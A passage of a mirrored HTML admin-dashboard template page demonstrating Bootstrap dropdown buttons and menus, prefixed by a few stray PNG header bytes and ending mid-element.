PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<!DOCTYPE html>
<html>
<!-- Mirrored from www.david luis Pablo .com/demo/star-laravel-free/template/basic-ui/dropdowns by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 26 Mar 2020 15:55:25 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<title>Admin</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- CSRF Token -->
<meta name="_token" content="FUFArrn1zssuAvS390uBJPMm5o4135T1ieu83ug0">
<link rel="shortcut icon" href="../favicon.ico">
<!-- plugin css -->
<link media="all" type="text/css" rel="stylesheet" href="../assets/plugins/%40mdi/font/css/materialdesignicons.min.css">
<link media="all" type="text/css" rel="stylesheet" href="../assets/plugins/perfect-scrollbar/perfect-scrollbar.css">
<!-- end plugin css -->
<!-- common css -->
<link media="all" type="text/css" rel="stylesheet" href="../css/app.css">
<!-- end common css -->
</head>
<body data-base-url="#demo/star-laravel-free/template">
<div class="container-scroller" id="app">
<nav class="navbar default-layout col-lg-12 col-12 p-0 fixed-top d-flex flex-row">
<div class="text-center navbar-brand-wrapper d-flex align-items-top justify-content-center">
<a class="navbar-brand brand-logo" href="#demo/star-laravel-free/template">
<img src="../assets/images/logo.svg" alt="logo" /> </a>
<a class="navbar-brand brand-logo-mini" href="#demo/star-laravel-free/template">
<img src="../assets/images/logo-mini.svg" alt="logo" /> </a>
</div>
<div class="navbar-menu-wrapper d-flex align-items-center justify-content-end">
<button class="navbar-toggler navbar-toggler align-self-center" type="button" data-toggle="minimize">
<span class="mdi mdi-menu"></span>
</button>
<ul class="navbar-nav navbar-nav-left header-links">
<li class="nav-item d-none d-xl-flex">
<a href="#" class="nav-link">Schedule <span class="badge badge-primary ml-1">New</span>
</a>
</li>
<li class="nav-item active d-none d-lg-flex">
<a href="#" class="nav-link">
<i class="mdi mdi-elevation-rise"></i>Reports</a>
</li>
<li class="nav-item d-none d-md-flex">
<a href="#" class="nav-link">
<i class="mdi mdi-bookmark-plus-outline"></i>Score</a>
</li>
<li class="nav-item dropdown d-none d-lg-flex">
<a class="nav-link dropdown-toggle px-0" id="quickDropdown" href="#" data-toggle="dropdown" aria-expanded="false"> Quick Links </a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown pt-3" aria-labelledby="quickDropdown">
<a href="#" class="dropdown-item">Schedule <span class="badge badge-primary ml-1">New</span></a>
<a href="#" class="dropdown-item"><i class="mdi mdi-elevation-rise"></i>Reports</a>
<a href="#" class="dropdown-item"><i class="mdi mdi-bookmark-plus-outline"></i>Score</a>
</div>
</li>
</ul>
<ul class="navbar-nav navbar-nav-right">
<li class="nav-item dropdown">
<a class="nav-link count-indicator dropdown-toggle" id="messageDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<i class="mdi mdi-file-outline"></i>
<span class="count">7</span>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown preview-list pb-0" aria-labelledby="messageDropdown">
<a class="dropdown-item py-3">
<p class="mb-0 font-weight-medium float-left">You have 7 unread mails </p>
<span class="badge badge-pill badge-primary float-right">View all</span>
</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face10.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">Marian Garner </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face12.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">David Grey </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face3.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">Travis Jenkins </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link count-indicator dropdown-toggle" id="notificationDropdown" href="#" data-toggle="dropdown">
<i class="mdi mdi-bell-outline"></i>
<span class="count bg-success">4</span>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown preview-list pb-0" aria-labelledby="notificationDropdown">
<a class="dropdown-item py-3 border-bottom">
<p class="mb-0 font-weight-medium float-left">4 new notifications </p>
<span class="badge badge-pill badge-primary float-right">View all</span>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-alert m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">Application Error</h6>
<p class="font-weight-light small-text mb-0"> Just now </p>
</div>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-settings m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">Settings</h6>
<p class="font-weight-light small-text mb-0"> Private message </p>
</div>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-airballoon m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">New user registration</h6>
<p class="font-weight-light small-text mb-0"> 2 days ago </p>
</div>
</a>
</div>
</li>
<li class="nav-item dropdown d-none d-xl-inline-block">
<a class="nav-link dropdown-toggle" id="UserDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<span class="profile-text d-none d-md-inline-flex">Richard V.Welsh !</span>
<img class="img-xs rounded-circle" src="../assets/images/faces/face8.jpg" alt="Profile image"> </a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown" aria-labelledby="UserDropdown">
<a class="dropdown-item p-0">
<div class="d-flex border-bottom w-100 justify-content-center">
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-bookmark-plus-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center border-left border-right">
<i class="mdi mdi-account-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-alarm-check mr-0 text-gray"></i>
</div>
</div>
</a>
<a class="dropdown-item mt-2" href="ma.php"> Manage Accounts </a>
<a class="dropdown-item" href="cp.php"> Change Password </a>
<a class="dropdown-item" href="l.php"> Sign Out </a>
</div>
</li>
</ul>
<button class="navbar-toggler navbar-toggler-right d-lg-none align-self-center" type="button" data-toggle="offcanvas">
<span class="mdi mdi-menu icon-menu"></span>
</button>
</div>
</nav> <div class="container-fluid page-body-wrapper">
<nav class="sidebar sidebar-offcanvas dynamic-active-class-disabled" id="sidebar">
<ul class="nav">
<li class="nav-item nav-profile not-navigation-link">
<div class="nav-link">
<div class="user-wrapper">
<div class="profile-image">
<img src="../assets/images/faces/face8.jpg" alt="profile image">
</div>
<div class="text-wrapper">
<p class="profile-name">Richard V.Welsh</p>
<div class="dropdown" data-display="static">
<a href="#" class="nav-link d-flex user-switch-dropdown-toggler" id="UsersettingsDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<small class="designation text-muted">Manager</small>
<span class="status-indicator online"></span>
</a>
<div class="dropdown-menu" aria-labelledby="UsersettingsDropdown">
<a class="dropdown-item p-0">
<div class="d-flex border-bottom">
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-bookmark-plus-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center border-left border-right">
<i class="mdi mdi-account-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-alarm-check mr-0 text-gray"></i>
</div>
</div>
</a>
<a class="dropdown-item mt-2" href="ma.php"> Manage Accounts </a>
<a class="dropdown-item" href="cp.php"> Change Password </a>
<a class="dropdown-item" href="l.php"> Sign Out </a>
</div>
</div>
</div>
</div>
<button class="btn btn-success btn-block">New Project <i class="mdi mdi-plus"></i>
</button>
</div>
</li>
<li class="nav-item ">
<a class="nav-link" href="#demo/star-laravel-free/template">
<i class="menu-icon mdi mdi-television"></i>
<span class="menu-title">Dashboard</span>
</a>
</li>
<li class="nav-item active">
<a class="nav-link" data-toggle="collapse" href="#basic-ui" aria-expanded="true" aria-controls="basic-ui">
<i class="menu-icon mdi mdi-dna"></i>
<span class="menu-title">Basic UI Elements</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse show" id="basic-ui">
<ul class="nav flex-column sub-menu">
<li class="nav-item ">
<a class="nav-link" href="buttons.html">Buttons</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="dropdowns.html">Dropdowns</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="typography.html">Typography</a>
</li>
</ul>
</div>
</li>
<li class="nav-item ">
<a class="nav-link" href="../charts/chartjs">
<i class="menu-icon mdi mdi-chart-line"></i>
<span class="menu-title">Charts</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../tables/basic-table.html">
<i class="menu-icon mdi mdi-table-large"></i>
<span class="menu-title">Tables</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../icons/material.html">
<i class="menu-icon mdi mdi-emoticon"></i>
<span class="menu-title">Icons</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" data-toggle="collapse" href="#user-pages" aria-expanded="false" aria-controls="user-pages">
<i class="menu-icon mdi mdi-lock-outline"></i>
<span class="menu-title">User Pages</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse " id="user-pages">
<ul class="nav flex-column sub-menu">
<li class="nav-item ">
<a class="nav-link" href="../user-pages/login.html">Login</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../user-pages/register.html">Register</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../user-pages/lock-screen.html">Lock Screen</a>
</li>
</ul>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="https://www.david luis Pablo .com/demo/star-laravel-free/documentation/documentation.html" target="_blank">
<i class="menu-icon mdi mdi-file-outline"></i>
<span class="menu-title">Documentation</span>
</a>
</li>--->
</ul>
</nav> <div class="main-panel">
<div class="content-wrapper">
<div class="row">
<div class="col-lg-12 grid-margin">
<div class="card">
<div class="card-body">
<h4 class="card-title">Gradient Dropdown</h4>
<p class="card-description"> Add class <code>.btn-{color}</code> to the button inside <code>.dropdown</code>
</p>
<div class="template-demo">
<div class="dropdown">
<button class="btn btn-primary dropdown-toggle" type="button" id="dropdownMenuOutlineButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuOutlineButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuOutlineButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-warning dropdown-toggle" type="button" id="dropdownMenuOutlineButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-success dropdown-toggle" type="button" id="dropdownMenuOutlineButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-info dropdown-toggle" type="button" id="dropdownMenuOutlineButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
<div class="card-body">
<h4 class="card-title">Basic dropdown</h4>
<p class="card-description"> Wrap the dropdown’s toggle (your button or link) and the dropdown menu within <code>.dropdown</code>
</p>
<div class="template-demo">
<div class="dropdown">
<button class="btn btn-primary dropdown-toggle" type="button" id="dropdownMenuButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-warning dropdown-toggle" type="button" id="dropdownMenuButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-success dropdown-toggle" type="button" id="dropdownMenuButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-info dropdown-toggle" type="button" id="dropdownMenuButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
<div class="card-body">
<h4 class="card-title">Dropdown outline</h4>
<p class="card-description"> Add class <code>.btn-outline-{color}</code> to the button inside <code>.dropdown</code>
</p>
<div class="template-demo">
<div class="dropdown">
<button class="btn btn-outline-primary dropdown-toggle" type="button" id="dropdownMenuOutlineButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-outline-secondary dropdown-toggle" type="button" id="dropdownMenuOutlineButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-outline-danger dropdown-toggle" type="button" id="dropdownMenuOutlineButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-outline-warning dropdown-toggle" type="button" id="dropdownMenuOutlineButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-outline-success dropdown-toggle" type="button" id="dropdownMenuOutlineButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-outline-info dropdown-toggle" type="button" id="dropdownMenuOutlineButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuOutlineButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-12 grid-margin">
<div class="card">
<div class="card-body">
<h4 class="card-title">Dropdown menu</h4>
<div class="row">
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-primary dropdown-toggle" type="button" id="dropdownMenuOutlineButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuOutlineButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuOutlineButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-warning dropdown-toggle" type="button" id="dropdownMenuOutlineButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-light dropdown-toggle" type="button" id="dropdownMenuOutlineButton8" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton8">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-success dropdown-toggle" type="button" id="dropdownMenuOutlineButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-info dropdown-toggle" type="button" id="dropdownMenuOutlineButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
<div class="col-md-3 dropdown-menu-static-demo">
<div class="dropdown">
<button class="btn btn-dark dropdown-toggle" type="button" id="dropdownMenuOutlineButton7" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Dropdown </button>
<div class="dropdown-menu show" aria-labelledby="dropdownMenuOutlineButton7">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-6 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Split button dropdowns</h4>
<p class="card-description"> Wrap two buttons in <code>.btn-group</code> and add <code>.dropdown-toggle-split</code> to the toggling button </p>
<div class="template-demo">
<div class="btn-group">
<button type="button" class="btn btn-primary">Dropdown</button>
<button type="button" class="btn btn-primary dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn btn-danger">Dropdown</button>
<button type="button" class="btn btn-danger dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn btn-success">Dropdown</button>
<button type="button" class="btn btn-success dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn btn-secondary">Dropdown</button>
<button type="button" class="btn btn-secondary dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn btn-info">Dropdown</button>
<button type="button" class="btn btn-info dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn btn-warning">Dropdown</button>
<button type="button" class="btn btn-warning dropdown-toggle dropdown-toggle-split" id="dropdownMenuSplitButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSplitButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-6 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Icon dropdowns</h4>
<p class="card-description"> Add icon tags instead of text </p>
<div class="row">
<div class="col-12">
<div class="template-demo d-flex justify-content-between">
<div class="dropdown">
<button class="btn btn-warning dropdown-toggle" type="button" id="dropdownMenuIconButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-earth"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton1">
<h6 class="dropdown-header">Settings</h6>
